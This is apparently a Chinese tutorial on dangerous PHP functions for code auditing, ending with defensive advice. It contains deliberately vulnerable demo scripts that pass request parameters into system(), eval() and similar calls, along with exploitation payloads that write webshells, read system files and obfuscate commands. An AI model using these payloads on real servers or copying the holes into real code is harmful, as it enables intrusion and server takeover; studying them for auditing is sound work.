PHP 危险函数
前言
PHP 中有一些函数是比较危险的,也是进行 PHP 代码审计过程的时候需要重点关注的内容。
OS 命令执行函数
这些函数会调用系统命令,类似于 bash
或者 cmd
,PHP 会自动区分平台。
- 系统命令函数,调用的是服务器命令。
- PHP 解释器会自动识别系统平台。
- 如果参数可控,就相当于
Shell
。 - 在浏览器端输入命令,在服务器端执行。
- 通过 Web 方式传参调用系统命令,无法切换工作目录,非持久性连接,对比反弹 Shell。
system()
system()
能够将字符串作为系统命令执行。
- 自带输出功能
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "缺少必要的参数!";
}
exec()
exec()
能够将字符串作为系统命令执行。
- 不会自动输出执行的结果
- 不支持命令中存在空格
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['cmd'])) {
exec($_REQUEST['cmd'], $out, $status);
echo "<pre>";
echo implode("\n", $out);
echo "</pre>";
echo $status;
} else {
echo "缺少必要的参数!";
}
shell_exec()
shell_exec()
能够将字符串作为系统命令执行。
- 不会自动输出执行的结果
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['cmd'])) {
// shell_exec
echo shell_exec($_REQUEST['cmd']);
} else {
echo "缺少必要的参数!";
}
passthru()
passthru()
能够将字符串作为系统命令执行。
- 能够自动输出执行的结果
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['cmd'])) {
// passthru
passthru($_REQUEST['cmd']);
} else {
echo "缺少必要的参数!";
}
popen()
popen()
能够执行系统命令
- 此命令不能够自动输出执行结果
- 通过文件操作可以查看结果
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['cmd'])) {
// popen
$fp = popen($_REQUEST['cmd'], "r");
while (!feof($fp)) {
echo fread($fp, 1024);
}
pclose($fp);
} else {
echo "缺少必要的参数!";
}
back quote
反引号
可以将反引号内的字符串当做系统命令执行。
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['cmd'])) {
$str = $_REQUEST['cmd'];
echo `$str`;
} else {
echo "缺少必要的参数!";
}
PHP 代码执行函数
PHP 中有很多的函数,可以将字符串的当做 PHP 代码执行。
eval()
其实 eval()
不算是一个函数,只是一个语句,不能动态的调用。
- 执行的字符串要以分号结尾
- 多条语句使用分号分割
<?php
header('Content-Type: text/html; charset=utf-8');
//phpinfo();
//$str = "phpinfo();";
//echo $str;
$str = $_GET['code'];
eval($str);
// ?code=phinfo();
// ?code=print(md5(123456));
// ?code=system(whoami);
// ?code=system('net user');
//
?>
$str = addslashes($_GET['code']);
echo $str;
eval($str);
/*
编码
1. ascii 编码
?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(110).chr(101).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(39).chr(41).chr(59));
2. base64 编码
c3lzdGVtKCduZXQgdXNlcicpOw==
?code=eval(base64_decode(c3lzdGVtKCduZXQgdXNlcicpOw));
*/
assert()
assert()
函数同样会将字符串当做代码执行。(高版本中被禁用)
- 字符串的结尾可以不添加分号
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['cmd'])) {
assert($_REQUEST['cmd']);
} else {
echo "缺少必要的参数!";
}
preg_replace()
preg_replace()
函数的作用是对字符串进行正则匹配后替换。
<?php
header('Content-Type: text/html; charset=utf-8');
preg_replace($pattern, $replacement, $subject);
preg_replace('/a/', 'A', 'abacad'); //AbAcAd
preg_replace('/\[(.*)\]/', 'A', '[phpinfo()]'); //A
echo preg_replace('/\[(.*)\]/', '\\1', '[phpinfo()]'); //phpinfo()
// \\1 代表正则表达式第一次匹配的内容
/*
$pattern 正则表达式
$replacement 替换内容
$subject 被替换的字符串
*/
- 当
$pattern
处,存在e
修饰符时,$replacement
的值会被当成 PHP 代码来执行。
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_GET['code'])) {
$code = $_GET['code'];
preg_replace("/\[(.*)\]/e", '\\1', $code);
} else {
echo "?code=[phpinfo()]";
}
call_user_func()
call_user_func(function,parameters)
是一个回调函数。
function
要被调用的函数parameters
传递给function
的参数
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['func']) && isset($_REQUEST['param'])) {
$func = $_REQUEST['func'];
$param = $_REQUEST['param'];
call_user_func($func, $param);
} else {
echo "缺少必要的参数!";
}
动态函数
由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用 call_user_func()
的初衷一样,用来更加方便地调用函数,但是一旦过了不严格就会造成代码执行漏洞。
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['a']) && isset($_REQUEST['b'])) {
$a = $_REQUEST['a'];
$b = $_REQUEST['b'];
$a($b);
} else {
echo "缺少必要的参数!";
}
// ?a=assert&b=phpinfo()
array_map()
array_map()
函数也同样是一个回调函数具体的说明参见下述说明
<?php
header('Content-Type: text/html; charset=utf-8');
if (isset($_REQUEST['func']) && isset($_REQUEST['code'])) {
array_map($_REQUEST['func'], $_REQUEST['code']);
} else {
echo "缺少必要的参数!";
}
// ?func=assert&code[]=phpinfo()
/*
array_map()
function array_map(?callable $callback, array $array, array ...$arrays): array { }
函数的作用是将用户输入的函数名和参数传递给array_map()函数,
然后将数组中的每个元素作为参数传递给用户输入的函数。
*/
拓展知识
OS 命令注入漏洞
- 原理以及成因
程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。
漏洞危害
- 继承Web 服务器程序权限,去执行系统命令
- 继承Web 服务器权限,读写文件
- 反弹Shell
- 控制整个网站
- 控制整个服务器
命令注入漏洞利用
OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。以下命令均在windows 系统下测试成功。
查看系统文件
?cmd=type c:\windows\system32\drivers\etc\hosts
显示当前路径
?cmd=cd
写文件
- 以绝对路径的方式写文件
?cmd=echo "<?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php
- 以绝对路径的方式写文件
PHP 代码注入
- 原理以及成因 代码执行(注入)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL 注入漏洞,SQLi 是将SQL 语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web 后门 的存在。
- 漏洞危害 Web 应用如果存在代码执行漏洞是一件非常可怕的事情。可以通过代码执行漏洞继承Web 用户权限,执行任意代码。如果服务器没有正确配置,Web 用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
代码注入漏洞利用
代码执行漏洞的利用方式有很多种,以下简单列出几种。
- 直接获取Shell
?code=@eval($_POST[1]);
- 获取当前文件的绝对路径
?code=print(__FILE__);
- 读文件
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
- 写文件
?code=var_dump(file_put_contents($_POST[1],$_POST[2]));``1=shell.php&2=<?php phpinfo()?>
。
防御漏洞的方法
- 尽量不要使用
eval
等函数 - 如果使用的话一定要进行严格的过滤
preg_replace
放弃使用/e
修饰符- 尽量减少危险函数的使用,并在
disable_functions
中禁用
disable_functions = system,eval
- 参数的值尽量使用引号包裹,并在拼接前调用
addslashes()
进行转义